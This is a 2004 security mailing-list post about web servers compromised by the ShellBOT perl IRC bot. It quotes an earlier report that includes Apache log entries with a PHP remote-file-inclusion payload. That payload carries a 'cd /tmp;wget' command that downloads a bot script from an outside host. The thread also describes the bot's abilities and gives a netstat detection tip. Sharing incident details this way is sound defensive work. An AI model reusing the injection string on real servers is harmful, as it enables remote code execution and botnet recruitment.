Security Incidents mailing list archives
re: Systems compromised with ShellBOT perl script - part 2
From: security () kemhosting com
Date: Wed, 20 Oct 2004 00:04:36 -0500
This thread is a couple months old, but I'm having issues with this hack, found it in the archives and thought it'd be helpful if I 'resusitated' it. See bottom of email for rest of thread. Today, hackers used the ShellBOT perl script to bring down Apache and start up their IRC listener. They (somehow) copied it into /tmp and executed it. This confuses me because I have my /tmp directory mounted rw,noexec,nosuid. Does Perl somehow bypass this? While the script was running, I ran lsof and found that it had recursively accessed all my (virtual host) httpd logs (probably in an attempt to delete it's tracks = the reason I can't see how they copied the script into /tmp) which are owned by root. this is also confusing since the process the script spawned was owned by user apache. Some info on my box: Redhat ES kernel 2.4.21-9.0.1.ELsmp httpd-2.0.46-32.ent php-4.3.2-11.ent Anyone have any ideas on how this can happen? Mainly the executing of a script on a noexec mount! Obviously I'm not a guru, so it's probably something simple - so please, share! Thanks, Ed Kirby Angell wrote:
Yesterday we noticed a funny looking Apache log entry. It contained:
http://www.DOMAIN.com/index.php?id=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2
in the Referer entry. The actual HTTP request was inocuous, but the Referer entry is not. I have been in contact with the owner of the computer that was the apparent target of the attack and he reports that the "index.php" page properly sanitizes its variables to keep this from working. The attack attempts to trick the server into downloading and running the given perl script, ".egg2" in this case. I retrieved a copy of that script and found it configured to log into an IRC server (irc.mzima.net:6667). Once the script is logged in, it joins the channel "#datalink" and then waits for private messages from its handler. The script can perform limited portscans, denial of service attacks, and can run shell commands as whatever user the compromised web server was running as. The script hides its identity by changing it process name to "[httpd]" so it looks like one of many server threads. I logged into the IRC server and joined the channel to find 62 compromised systems listening. Unfortunately I was noticed and now the channel is by invitation only. I have notified as many of the administrators for those systems as could be identified from whois records. I have also notified the operators of the IRC server. The IP address of the system that set off the original inquiry is 63.227.76.25. The admin of one of the compromised boxes has found that same IP address involved in their attack too. The Apache log entries from their system look like this: 63.227.76.25 - - [30/Aug/2004:23:38:57 -0400] "GET /popwin.js HTTP/1.0" 200 195
"http://www.domain.com/aboutus/index.php?page=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040626 Firefox/0.9.1" 63.227.76.25 - - [30/Aug/2004:23:38:57 -0400] "GET /images/l2_thinkInsideBox.gif HTTP/1.0" 200 1711
"http://www.domain.com/aboutus/index.php?page=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040626 Firefox/0.9.1" 63.227.76.25 - - [30/Aug/2004:23:38:57 -0400] "GET /images/l2topbox.gif HTTP/1.0" 200 2576
"http://www.domain.com/aboutus/index.php?page=http://farpador.ubbi.com.br/cmd.txt?&cmd=http://farpador.ubbi.com.br/cmd.txt?&cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/lotsen6k/.egg2"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040626 Firefox/0.9.1" I would like to find if he used other IPs, but so far I've only had a few responses from admins of the compromised systems. All who responded were happy to provide log entries though. This sort of script shouldn't be terribly difficult to spot. A "netstat ~ -pan | grep 6667" will show its presence while running. Unless some other compromise is used in conjunction with the script, the cracker will not be able to install any sort of rootkit to hide the script's presence. -- Thank you, Kirby Angell Get notified anytime your website goes down! http://www.alertra.com key: 9004F4C0 fingerprint: DD7E E88D 7F50 2A1E 229D 836A DB5B A751 9004 F4C0
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Current thread:
- re: Systems compromised with ShellBOT perl script - part 2 security (Oct 20)
- Re: Systems compromised with ShellBOT perl script - part 2 Meder Kydyraliev (Oct 20)
- re: Systems compromised with ShellBOT perl script - part 2 Jim Halfpenny (Oct 20)
- DoS worm David Gillett (Oct 20)
- Re: DoS worm Nick FitzGerald (Oct 21)
- DoS worm David Gillett (Oct 20)
- Re: Systems compromised with ShellBOT perl script - part 2 Jeffrey Denton (Oct 20)
- Re: Systems compromised with ShellBOT perl script - part 2 Martin Mačok (Oct 20)
- Re: Systems compromised with ShellBOT perl script - part 2 Harry de Grote (Oct 20)
- Re: Systems compromised with ShellBOT perl script - part 2 Stephen J. Smoogen (Oct 20)
- RE: Systems compromised with ShellBOT perl script - part 2 KEM Hosting (Oct 20)
- Re: Systems compromised with ShellBOT perl script - part 2 Thomas Hochstein (Oct 21)
(Thread continues...)